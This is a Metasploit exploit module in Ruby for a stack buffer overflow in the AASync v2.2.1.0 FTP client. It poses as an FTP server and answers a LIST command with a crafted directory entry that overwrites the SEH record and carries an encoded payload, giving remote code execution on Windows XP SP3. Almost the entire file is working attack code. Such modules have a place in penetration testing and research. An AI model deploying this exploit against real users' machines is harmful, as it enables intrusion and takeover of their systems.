##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)',
        'Description' => %q{
          This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when
          processing the response on a LIST command. During the overflow, a structured exception
          handler record gets overwritten.
        },
        'Author' => [
          'corelanc0d3r <peter.ve[at]corelan.be>', # found bug and wrote the exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2019-5619' ],
          [ 'OSVDB', '68701' ],
          [ 'EDB', '16738' ],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'XP SP3 Universal', { 'Offset' => 6340, 'Ret' => 0x61181674 } ], # ppr [pthreadgc2.dll]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-10-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  #---------------------------------------------------------------------------------

  def setup
    super
  end

  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c, arg)
    conn = establish_data_connection(c)
    if (not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end
    print_status(" - Data connection set up")
    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")
    code = 226
    c.put("#{code} Directory send ok.\r\n")
    offset_to_nseh = target['Offset']
    filename = "admin passwords.txt"
    padding = " " * (offset_to_nseh - filename.length)
    nseh = "\xeb\x0c\x41\x41"
    seh = [target.ret].pack('V') # \x74\x16 = jump
    nops = "A" * 30
    junk2 = "A" * 5000
    # dual offsets to seh
    buffer = filename + padding + nseh + seh + seh + nops + payload.encoded + junk2
    print_status(" - Sending directory list via data connection")
    dirlist = "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{buffer}\r\n"
    conn.put(dirlist)
    conn.close
    print_status(" - Payload sent")
    return
  end
end
